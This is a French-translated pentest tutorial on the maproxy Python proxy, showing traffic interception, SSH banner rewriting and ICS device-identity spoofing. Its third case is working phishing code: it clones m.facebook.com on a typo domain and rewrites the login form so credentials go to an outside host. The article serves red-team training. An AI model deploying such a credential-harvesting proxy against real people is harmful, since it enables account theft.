Traitez les données du réseau à la volée

La traduction de l'article a été préparée à la veille du début du cours « Pentest. Pratique des tests d'intrusion".

Traitez les données du réseau à la volée

Abstrait

Divers types d'évaluations de sécurité, allant des tests d'intrusion réguliers et des opérations Red Team au piratage des appareils IoT/ICS et SCADA, impliquent de travailler avec des protocoles réseau binaires, c'est-à-dire essentiellement d'intercepter et de modifier les données réseau entre le client et la cible. Renifler le trafic réseau n'est pas une tâche difficile puisque nous disposons d'outils comme Wireshark, Tcpdump ou Scapy, mais la modification semble être une tâche plus laborieuse puisque nous aurons besoin d'une sorte d'interface pour lire les données du réseau, les filtrer, les modifier. à la volée et renvoyez-le à l'hôte cible presque en temps réel. De plus, il serait idéal qu'un tel outil puisse fonctionner automatiquement avec plusieurs connexions parallèles et être personnalisable à l'aide de scripts.

Un jour, j'ai découvert un outil appelé maproxy, la documentation m'a rapidement fait comprendre que maproxy - juste ce que j'ai besoin. Il s'agit d'un proxy TCP assez simple, polyvalent et facilement configurable. J'ai testé cet outil sur plusieurs applications assez complexes, notamment des appareils ICS (qui génèrent beaucoup de paquets) pour voir s'il pouvait gérer de nombreuses connexions parallèles, et l'outil a bien fonctionné.

Cet article vous présentera le traitement des données réseau à la volée à l'aide de maproxy.

vue d'ensemble

Outil maproxy est basé sur Tornado, un framework de réseau asynchrone populaire et mature en Python.

De manière générale, il peut fonctionner selon plusieurs modes :

  • TCP:TCP – connexions TCP non cryptées ;
  • TCP:SSL и SSL:TCP – avec cryptage unidirectionnel ;
  • SSL:SSL – cryptage bidirectionnel.

Il s'agit d'une bibliothèque. Pour un démarrage rapide, vous pouvez utiliser des exemples de fichiers qui reflètent les principales fonctions de bibliothèque:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Cas 1 – proxy bidirectionnel simple

Basé sur tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Par défaut ProxyServer() prend deux arguments : l’emplacement de connexion et le port cible. server.listen() prend un argument - le port pour écouter la connexion entrante.

Exécution du script :

# python tcp2tcp.py

Afin de lancer le test, nous allons nous connecter à un serveur SSH local via notre script proxy, qui écoute 2222/tcp port et se connecte à un port standard 22/tcp Serveurs SSH :

Traitez les données du réseau à la volée

La bannière de bienvenue vous informe que notre exemple de script a réussi à proxyer le trafic réseau.

Cas 2 – modification des données

Un autre script de démonstration logging_proxy.py idéal pour interagir avec les données du réseau. Les commentaires dans le fichier décrivent les méthodes de classe que vous pouvez modifier pour atteindre votre objectif :

Traitez les données du réseau à la volée

Le plus intéressant est ici :

  • on_c2p_done_read – pour intercepter les données entre le client et le serveur ;
  • on_p2s_done_read - inversé.

Essayons de changer la bannière SSH que le serveur renvoie au client :

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Exécutez le script :

Traitez les données du réseau à la volée

Comme vous pouvez le constater, le client a été induit en erreur car le nom du serveur SSH correspondant a été modifié en «DumnySSH».

Traitez les données du réseau à la volée

Cas 3 – page Web de phishing simple

Il existe d'innombrables façons d'utiliser cet outil. Cette fois, concentrons-nous sur quelque chose de plus pratique du côté des opérations de l'équipe rouge. Imitons la page de destination m.facebook.com et utilisez un domaine personnalisé avec une faute de frappe délibérée, par exemple : m.facebok.com. À des fins de démonstration, supposons simplement que le domaine est enregistré par nos soins.

Nous allons établir une connexion réseau non cryptée avec le proxy de nos victimes et SSL Stream vers le serveur Facebook (31.13.81.36). Pour que cet exemple fonctionne, nous devons remplacer l'en-tête de l'hôte HTTP et injecter le nom d'hôte correct, et nous désactiverons également la compression des réponses afin de pouvoir accéder facilement au contenu. A terme, nous remplacerons le formulaire HTML pour que les identifiants de connexion nous soient envoyés à la place des serveurs de Facebook :

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/fr/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

En résumé:

Traitez les données du réseau à la volée

Comme vous pouvez le constater, nous avons réussi à remplacer le site d'origine.

Cas 4 – Portage Ethernet/IP

Je m'occupe depuis un certain temps d'appareils et de logiciels industriels (ICS/SCADA), tels que des automates programmables (PLC), des modules d'E/S, des variateurs, des relais, des environnements de programmation en échelle et bien d'autres encore. Ce coffret s'adresse à ceux qui aiment les choses industrielles. Le piratage de telles solutions implique de jouer activement avec les protocoles réseau. Dans l'exemple suivant, je voudrais montrer comment vous pouvez modifier le trafic réseau ICS/SCADA.

Pour ce faire, vous avez besoin des éléments suivants :

  • Renifleur de réseau, par exemple, Wireshark ;
  • Ethernet/IP ou simplement un appareil SIP, vous pouvez le trouver en utilisant le service Shodan ;
  • Notre scénario est basé sur maproxy.

Tout d’abord, regardons à quoi ressemble une réponse d’identification typique du CIP (Common Industrial Protocol) :

Traitez les données du réseau à la volée

L'identification des appareils s'effectue à l'aide du protocole Ethernet/IP, qui est une version améliorée du protocole Ethernet industriel qui englobe les protocoles de contrôle tels que CIP. Nous allons changer le nom d'identification en surbrillance qui est visible dans la capture d'écran "NI-IndComm pour Ethernet" en utilisant notre script proxy. Nous pourrions réutiliser le script logging_proxy.py et de même modifier la méthode de classe on_p2s_done_read, car nous souhaitons qu'un nom d'identité différent soit visible sur le client.

Code:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Essentiellement, nous avons demandé deux fois l’identification de l’appareil, la deuxième réponse était la réponse originale et la première a été modifiée à la volée.

Et le dernier

À mon avis maproxy Un outil pratique et simple, qui est également écrit en Python, je pense donc que vous aussi pouvez en bénéficier. Bien sûr, il existe des outils plus complexes pour traiter et modifier les données du réseau, mais ils nécessitent également plus d'attention et sont généralement créés pour un cas d'utilisation spécifique, par ex. Murène, Modlishka ou evilginx pour les cas similaires au troisième, ou canape pour le dernier cas. D'une manière ou d'une autre, avec l'aide maproxy vous pouvez rapidement mettre en œuvre vos idées pour intercepter les données du réseau, car les exemples de scripts sont très clairs.

Tester les mécanismes d'authentification dans Windows AD

Source: habr.com

Ajouter un commentaire